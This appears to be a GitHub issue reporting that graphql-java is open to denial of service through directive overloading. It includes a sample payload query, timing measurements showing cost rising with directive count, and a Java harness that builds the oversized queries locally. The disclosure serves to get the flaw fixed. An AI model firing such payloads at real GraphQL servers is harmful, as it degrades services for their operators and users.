-
Notifications
You must be signed in to change notification settings - Fork 1.2k
Closed
Milestone
Description
Hello team,
I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik).
Query example:
query {__typename @aa}
I get errors by implemented security mechanisms, but these mechanisms don't help in this case:
- Help prevent DOS attacks on graphql servers #2549
- Support Max validation errors being produced #2553
MaxQueryDepthInstrumentation and MaxQueryComplexityInstrumentation don't solve the issue as well.
Query execution time increases by adding more directives:
5000 directives: 445 ms
10000 directives: 732 ms
15000 directives: 1164 ms
20000 directives: 1671 ms
25000 directives: 2159 ms
30000 directives: 2661 ms
35000 directives: 3171 ms
40000 directives: 3687 ms
45000 directives: 4224 ms
50000 directives: 4711 ms
55000 directives: 5227 ms
60000 directives: 5749 ms
65000 directives: 6297 ms
70000 directives: 6788 ms
The code snippet for testing:
import graphql.ExecutionInput;
import graphql.ExecutionResult;
import graphql.GraphQL;
import graphql.schema.GraphQLSchema;
import graphql.schema.StaticDataFetcher;
import graphql.schema.idl.RuntimeWiring;
import graphql.schema.idl.SchemaGenerator;
import graphql.schema.idl.SchemaParser;
import graphql.schema.idl.TypeDefinitionRegistry;
import static graphql.schema.idl.RuntimeWiring.newRuntimeWiring;
public class HelloWorld {
static Integer STEP = 5000;
static Integer CHECKS_AMOUNT = 15;
public static void main(String[] args) {
String schema = "type Query{hello: String}";
SchemaParser schemaParser = new SchemaParser();
TypeDefinitionRegistry typeDefinitionRegistry = schemaParser.parse(schema);
RuntimeWiring runtimeWiring = newRuntimeWiring()
.type("Query", builder -> builder.dataFetcher("hello", new StaticDataFetcher("world")))
.build();
SchemaGenerator schemaGenerator = new SchemaGenerator();
GraphQLSchema graphQLSchema = schemaGenerator.makeExecutableSchema(typeDefinitionRegistry, runtimeWiring);
GraphQL build = GraphQL.newGraphQL(graphQLSchema).build();
String payload = "@aa";
for (int i = 1; i < CHECKS_AMOUNT; i++) {
String query = "query {__typename " + payload.repeat(i * STEP) + "}";
ExecutionInput executionInput = ExecutionInput.newExecutionInput().query(query).build();
long startTime = System.nanoTime();
ExecutionResult executionResult = build.execute(executionInput);
long endTime = System.nanoTime();
long duration = (endTime - startTime);
System.out.println(String.format("%d directives: %d ms", i* STEP, duration / 1000000));
}
}
}Metadata
Metadata
Assignees
Labels
No labels